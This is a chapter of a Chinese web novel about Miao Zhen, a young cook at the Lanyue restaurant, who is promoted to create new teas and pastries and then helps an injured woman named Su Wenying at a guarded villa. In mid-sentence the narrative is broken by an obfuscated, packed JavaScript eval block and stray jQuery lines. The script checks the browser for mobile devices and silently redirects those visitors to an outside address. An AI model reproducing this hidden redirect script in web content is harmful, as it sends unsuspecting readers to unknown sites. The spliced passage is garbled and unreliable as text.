27. 扶个莺
作品:《小油娘进京手札》 苗蓁闻言,抬起了头。眼前这人大致三十五六岁的年纪,肤色虽不算白,却看得出平日里不是经受风吹日晒之人。颌下蓄短须,眼睛幽深如潭,整个人气度有几分儒雅。
她没见过此人,亦没敢多看,但从屋内二人的站位,再到蒋掌柜毕恭毕敬的神态,苗蓁心下已然猜到了这人的身份——揽月楼东家,陶柏青。
“陈管事说,那京城来的客商吃的酥点,是你做的?”
苗蓁顿了一瞬,答道:“是。”
“你是哪里人?又是,哪里学的这个手艺?”
“嘉兴桐川,我娘曾在京城住过,猪油改香油的方法是从她那知道的。”
陶柏青此刻已坐下,正把玩着手里的沉香木珠手串。听到这话,他的眼微动一下。
一个来自乡下,在他酒楼里做工谋生的年轻女子,母亲竟曾久居京城。
蒋允中见状,附耳上前,低声道:“她就是上次,带酒楼女工揭发曾氏的那个杂工。”
陶柏青嘴角勾起一丝笑,很淡的笑,“有意思。”
他把手里的手串换到右手,继续把玩着,随后抬眼示意一旁的蒋掌柜。
蒋允中会意,马上快步走到一旁的餐柜边,提起茶壶,冲了一杯热茶。
香味弥散开来。
起初苗蓁还没反应过来,但那馥郁微甜,带着果干特有的焦香散出,她猛地认出,这正是自己这两天,辛辛苦苦研制的果仁茶。
陶柏青拿起茶杯,低头抿了一口,又放下,动作很慢。
“这果仁茶,也是你做的?”
“……是我。”
苗蓁心里一阵发毛。
揭发管事、改良酥点、研制新茶……这三件事对眼前这个男人来说,到底是好是坏?她对东家全然不了解,这人说话慢条斯理,亦听不出喜恶,苗蓁不知道等着她的是处罚还是赏赐。
可是她不愿就如此一直跪着,等着别人发落。电光火石之间,苗蓁深吸一口气,抬起了头。
“东家,我有几句话想说。”
一旁的蒋允中眉头一皱,正要开口,陶柏青就抬手止住了他。
“让她说。”
苗蓁攥紧袖口,努力让自己的声音听起来稳一些。
“我只是个小工,得陈管事和掌柜赏识应允,得进点心房学艺。不管是酥点,还是果茶,都是因我想把分内的事做好,也都是……陈管事口头答应才开始自己瞎琢磨的。若是东家觉得还能入口,我愿意接着学,接着做,给楼里添些新样。若是有什么不合规矩的地方,也请东家明说,我自当改过,以后……本分做事。”
她说完,垂下眼,不再吭声。
陶柏青捻着沉香珠手串的手停了一瞬。
片刻后,他轻笑一声,接着道:
“自从点心房金师傅告老走了,楼里做点心的就有些青黄不接,陈管事虽说得力,可并不专长于此艺。老方子做得……也算是差强人意,可是做点新鲜的东西,就有些放不开手脚。你若是愿意,往后点心房那边,我给你单辟一处,专司研制些新的茶点,月钱另算,不必再管那些杂活。”
苗蓁愣住了,她这是撞了大运了?……
“可、可我的手艺,不要说陈管事了,点心房里就有不少姐妹胜过我许多,我虽学了半月也算有长进,怎么能担此——”
“不对不对。”陶柏青摆摆头,连忙打断她,他起身,接着缓缓说道:“手艺可以练,可是见识和天赋却不一样。食物对寻常人家的意义是果腹,至多是味道,但对我们酒楼客人来说,却可以称为一种门道,代表见识和眼界……”
苗蓁依旧低着头不动声色,只暗中腹诽:见识?眼界?一盘点心一杯茶,不过是想办法做好吃一些,用得着这样神神叨叨的?
她持续愣神,蒋掌柜一问,她才反应过来。
“东家问话呢,苗蓁。你是答应还是不答应?”
“小的……”苗蓁犹豫片刻,若是掌柜坦白直说她做的茶味道好,她此刻或许早已开心应下,可是……这人说话云山雾罩的,这次不过是误打误撞,日后若是不满意,他又当如何?
“你若是有什么顾虑,一并说出来。”陶柏青见她没有立马应下,立马表态。
苗蓁转念一想,开口问道:“月钱另算是……多少?”
“哈哈。”陶柏青爽朗大笑,蒋掌柜在一旁皱起眉头。陶示意蒋和苗蓁说明,蒋掌柜靠近苗蓁说了个数目。
“我答应。”
苗蓁没有丝毫的犹豫,就冲着这钱,有什么不能干的。
“只是还有一事……”
“讲。”
“茶虽是我想办法做的,但是做这果干不容易,我是找了我发小陈青柯来帮忙一起烘烤的。不过,他不是楼里的人,只是临过来帮忙的。若是东家愿意,小的斗胆,请东家将他一同聘了。”
“这个简单。”他看了一眼蒋掌柜,“你来安排。”
“是。”蒋掌柜应声答话。
这日过后,点心房就专为苗蓁开了间小屋做茶,陈管事是周全之人,担心她因突如其来的提拔遭人口舌,问过她是否忙得过来后,照例还是给她派去之前那些活儿。
陈青柯受邀留下,起初还有几分犹豫,苗蓁加上金穗,两人使劲儿一通劝后,愉快答应留下了。
最高兴的是金穗,陈青柯此行原本以为只待几天,所以带的衣服不多,现在要长久住下自然要添置许多东西。金穗寻到由头便又得去逛街,回来那日除了衣裳,拎了不少好吃的好玩的。
虽说待遇得到了提升,琐事也少了不少,可苗蓁的日子却并未轻松。先说这果仁茶,试验与量产,终究差别很大,光靠她和陈青柯二人,每日那烘烤还得守着看火候,就十分磨人。再说点心房的手艺,苗蓁也不能放下。
更为考验的她是,上面那位东家时不时会出几道“命题”,只简单吩咐几句来的贵客是何方人氏,平日口味喜好如何,便让她想想可以上什么点心。
真是令人头疼,她不只要请教一些点心老手,甚至还去书铺里找了几本讲各地饮食杂记、食谱抄本、风物志之类的,忙起来时手上的面粉还没擦干净就开始翻书,被金穗陈青柯他们看到时,得好一通笑话,说她要做“点心状元”了。
除了这些,她的日子还有一处改变,那便准了她可以直接去“后山别院”送点心。就是前几日她去帮金穗送菜时遇到那宛若神妃仙子的后山别院。
掌柜和她说起此事的那日,她有些好奇,却不敢多嘴问里头的“贵客”到底是什么人。只问了,她之前没去过,不怎么认识路。
从蒋掌柜口中,她才得知,那后院也分了前头后头,伙计送菜最多就到前面,不扰客人清净。他说完,还特地嘱咐,送完菜了不要逗留,遇上不熟的人,低头行礼就行,不要搭话。
苗蓁心似猫挠,却不敢多问。
这日,苗蓁受吩咐,到后山别院去送茶。
昨夜下过雨,上山的青石板小路未干,提着裙角,倒是感觉有些难行。
好在空气清新,雨水洗过叶子,眼前也是一片油亮醒目的绿色。苗蓁行至其间感觉心情舒畅。
走近时,她忽在墙根处,听到传来一声响声,接着是一声痛呼,听着像是什么人摔了。
苗蓁走近,绕过一颗枝叶低垂的芭蕉后,看到地上赫然倒着一个姑娘,她曲身坐着,正在低头抚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215702|195485||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
摸着脚踝。
“姑娘,你、你……”苗蓁想问她“怎么了”,可这一看就是摔倒了,但她又不敢草率将人扶起,怕一不小心动了伤口,伤更重了。
“无妨,就是有些疼。”
那女子抬头的瞬间,苗蓁一眼认出来,这正是上次她遇到过的那个美丽女子。
“是你?”她下意识脱口而出。
“你认识我?”女子顿了一下,疑惑问道。
“那倒没……但之前送菜好似见过,可能姑娘你不记得了。”
那女子把头凑近几分看了看,“或许吧。送菜的人多,我倒不是每个都能记住的。”声音依旧轻柔,又道:“小娘子,可否扶我起来?”
苗蓁连忙上前将其扶起,问道:“你的脚不碍事吧?要不要我送你回去。”
那女子一瘸一拐的,“怕是要麻烦你了,行么?”
苗蓁一口答应。
那女子又转头看了看她提着篮子,“你是去送什么的?”
“茶,果仁茶。”
女子眼前一亮,“最近楼里的果仁茶换了,味道和从前不一样了。”
“那姑娘觉得味道比之前,如何?”
“之前的茶寡淡,料多却不香。换了之后,好喝多了。”
苗蓁憨笑几声。
“小娘子笑什么?难不成这茶是你做的?”
苗蓁闻言震惊,“你怎么猜到的?”
“真是你?”那女子也惊奇地看着她,“我之前听说做茶的是个点心房的小丫头,之前还因工钱带人闹过事……”
说到这,苗蓁感到一阵尴尬……什么叫做“闹事”,明明是伸张正义。
“我当时还说呢,东家怎么会容这样的人在楼里,原来是手上有保命的本事。”
“姑娘喜欢就好。”
“我喜欢,不过这茶是太金贵了吗?每次送来的分量总是不多,我喜欢里头的桂花味,总感觉不够。”说到这,她眼前一亮,“诶?你是做这茶的,下次能不能单独给我做一个桂花酱多的?”
“啊?”苗蓁迟疑片刻,“原料算不上贵,但是现在做的人少,送到各处的都有定数,给姑娘倒是容易,只是我不知如何与掌柜说……”
“你和蒋掌柜说,是听雨轩苏姑娘要的,他会准的。”
苗蓁点点头,“您就是‘苏姑娘’?”
“嗯,我叫闻莺。是东家的……亲戚。”
“哦,难怪你会住在这里。”苗蓁了然点点头,“你叫我苗蓁就行。”
有了苏闻莺的带路,苗蓁第一次进了后山别院的深处。这里看上去并没有什么不一样的,只是前去的路上修了一道厚厚的墙,入口处有人守着,手里拿着家伙,看上去还十分森严。若不是闻莺,苗蓁是断然不可进入的。
后山环境清幽,却没什么“人气”,苗蓁终于走了回来,进入酒楼正堂,宾客盈盈,伙计身影来去不歇,她一下竟有些不适应这里的热闹。
“苗蓁!回来了?过来搭把手!”
声音是从上头传来的,她一抬头,看到喊她的人是账房蔡先生。
他站在上二楼的楼梯歇台处,手上拿着一支比平日大许多的毛笔,笔尖蘸满了墨水,一向平和的他,此刻脸上看上竟还有几分焦急。
苗蓁赶忙小跑上前,“来了。”
揽月楼正堂很大,上二楼的楼梯就有三处。这是最大的一处,歇台摆放的陈设亦十分考究,且每逢节庆都会换不同主题的陈设呼应。
这次,台上摆了一张大方桌,几个伙计忙着裁纸,几个人在磨墨,看得苗蓁一头雾水。
直到蔡账房张口问她,“金穗说你字写得不错,真的假的?”

